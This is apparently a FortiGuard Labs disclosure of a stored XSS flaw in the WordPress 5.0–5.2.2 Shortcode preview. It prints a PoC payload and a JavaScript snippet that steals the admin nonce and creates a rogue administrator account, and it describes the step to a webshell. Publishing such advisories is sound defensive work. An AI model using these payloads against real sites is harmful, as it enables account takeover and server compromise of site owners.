Fortinet – WordPress (Core) Stored XSS Vulnerability
FortiGuard Labs Breaking Threat Research
WordPress is the world’s most popular Content Management System (CMS). It has 60.4% of the global CMS market share, which is far higher than the second-place Joomla!, which only has 5.2% of the market share. As a result, over a third of all of the websites on the Internet were built using WordPress.
This stored XSS vulnerability affects WordPress versions from 5.0 to 5.2.2.
In WordPress 5.0, users can add Shortcode blocks to a post. When adding certain HTML encoded characters like “<” to the Shortcode block and then re-opening this post, it shows an error message and previews it by decoding the “<” to “<”.
Figure 1. Inserting HTML encoded characters into a Shortcode block
Figure 2. A Shortcode error message with preview
The XSS filter in this preview can be easily bypassed with the PoC “”><img src=1 onerror=prompt(1)>”.
Figure 3. Inserting PoC code into the Shortcode block
When any victim views this post, the XSS code will be executed in their browser.
Figure 4. WordPress Shortcode Preview XSS
If the victim happens to have admin rights, the criminal could then exploit this vulnerability to gain control of the administrator’s account, leverage the WordPress built-in function to GetShell, then take control of the server.
- // Send a GET request to the URL ‘/wordpress/wp-admin/user-new.php’, and extract the current ‘nonce’ value
- var ajaxRequest = new XMLHttpRequest();
- var requestURL = “/wordpress/wp-admin/user-new.php”;
- var nonceRegex = /ser” value=”([^”]*?)”/g;
- ajaxRequest.open(“GET”, requestURL, false);
- var nonceMatch = nonceRegex.exec(ajaxRequest.responseText);
- var nonce = nonceMatch;
- // Construct a POST query, using the previously extracted ‘nonce’ value, and create a new user with an arbitrary username / password, as an Administrator
- var params = “action=createuser&_wpnonce_create-user=”+nonce+”&user_login=attacker&[email protected]&pass1=attacker&pass2=attacker&role=administrator”;
- ajaxRequest = new XMLHttpRequest();
- ajaxRequest.open(“POST”, requestURL, true);
- ajaxRequest.setRequestHeader(“Content-Type”, “application/x-www-form-urlencoded”);
Figure 5. Inserting XSS code to add an administrator account
Once a victim with high permission views this post, the administrator account “attacker” will be created.
Figure 6. XSS code is executed
Figure 7. The “attacker” account with administrator permission created by the XSS code
The attacker could then modify an existing php file to a webshell and use the webshell to take control of the webserver.
Figure 8. Adding a web shell with the attacker’s account
Figure 9. Taking control of the webserver
FortiGuard Labs contacted WordPress about this zero-day discovery, and they have issued a patch. All users of vulnerable versions of WordPress are encouraged to upgrade to the latest WordPress version or apply the latest patches immediately.
Additionally, organizations that have deployed Fortinet IPS solutions are already protected from this vulnerability with the following signature: